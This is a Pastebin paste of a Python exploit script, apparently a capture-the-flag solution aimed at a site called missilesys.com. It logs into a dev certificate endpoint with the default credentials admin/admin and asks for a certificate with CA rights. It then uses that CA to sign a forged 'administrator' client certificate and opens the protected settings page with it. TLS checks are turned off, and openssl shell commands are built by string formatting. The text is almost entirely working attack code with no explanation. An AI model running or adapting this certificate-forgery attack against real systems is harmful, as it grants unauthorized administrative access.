Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import OpenSSL
- from requests import *
- import requests_pkcs12
- from pyquery import PyQuery as pq
- import json
- import os
- DOWNLOAD_CERT_URL = "https://dev.missilesys.com/download_cert"
- SETTINGS_URL = "https://missilesys.com/settings"
- def create_csr(common_name,
- country=False,
- state=False,
- city=False,
- organization=False,
- organizational_unit=False,
- email_address=False,
- request_ca=False):
- key = OpenSSL.crypto.PKey()
- key.generate_key(OpenSSL.crypto.TYPE_RSA, 2048)
- req = OpenSSL.crypto.X509Req()
- req.get_subject().CN = common_name
- if country:
- req.get_subject().C = country
- if state:
- req.get_subject().ST = state
- if city:
- req.get_subject().L = city
- if organization:
- req.get_subject().O = organization
- if organizational_unit:
- req.get_subject().OU = organizational_unit
- if email_address:
- req.get_subject().emailAddress = email_address
- if request_ca is True:
- req.add_extensions([
- OpenSSL.crypto.X509Extension(b"basicConstraints", False, b"CA:TRUE"),
- ])
- req.set_pubkey(key)
- req.sign(key, 'sha256')
- private_key = OpenSSL.crypto.dump_privatekey(
- OpenSSL.crypto.FILETYPE_PEM, key)
- csr = OpenSSL.crypto.dump_certificate_request(
- OpenSSL.crypto.FILETYPE_PEM, req)
- return private_key, csr
- def fetch_cert(username, password, outpath=None, request_ca=False):
- pk, csr = create_csr(common_name=username, request_ca=request_ca)
- data = {
- 'username': username,
- 'password': password,
- 'privatekey': pk,
- 'csr': csr
- }
- r = post(DOWNLOAD_CERT_URL, data=data, verify=False, stream=True)
- if not r.status_code == 200:
- return 0
- with open(outpath, 'wb') as p12:
- for chunk in r.iter_content(chunk_size=128):
- p12.write(chunk)
- return 1
- def convert_to_pem(inkey, outkey):
- os.system('openssl pkcs12 -in {} -out {} -nodes'.format(inkey, outkey))
- def sign_request_with_pem(pem, request_csr, outfile):
- os.system('openssl x509 -req -in {} -CA {} -CAkey {} -CAcreateserial -out {} -days 500 -sha256'.format(
- request_csr, pem, pem, outfile
- ))
- def use_certificate_to_create_p12(cer_filename, reqkey, pem, outfile):
- os.system('openssl pkcs12 -export -out {} -inkey {} -in {} -certfile {}'.format(
- outfile, reqkey, cer_filename, pem
- ))
- if __name__ == "__main__":
- pw = 'admin'
- res = fetch_cert(username='admin',
- password=pw,
- outpath='ppp.p12',
- request_ca=True
- )
- csr_filename = 'request.csr'
- csr_key = 'key.key'
- csr_req = json.load(open('data.json', 'r'))
- with open(csr_filename, 'w') as f:
- f.write(csr_req['csr'])
- with open(csr_key, 'w') as f:
- f.write(csr_req['privateKey'])
- convert_to_pem('ppp.p12', 'ppp.pem')
- admin_cer = 'administrator.cer'
- sign_request_with_pem('ppp.pem', csr_filename, admin_cer)
- use_certificate_to_create_p12(
- cer_filename=admin_cer,
- reqkey=csr_key,
- pem='ppp.pem',
- outfile='administrator.p12'
- )
- r = requests_pkcs12.get(url=SETTINGS_URL,
- pkcs12_filename='administrator.p12',
- pkcs12_password=pw,
- verify=False)
- if r.status_code != 200:
- print("Settings request failed: {}".format(r.status_code))
- exit(1)
- d = pq(r.text)
- print(d("#welcome").text())
- print(d("#error").text())
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement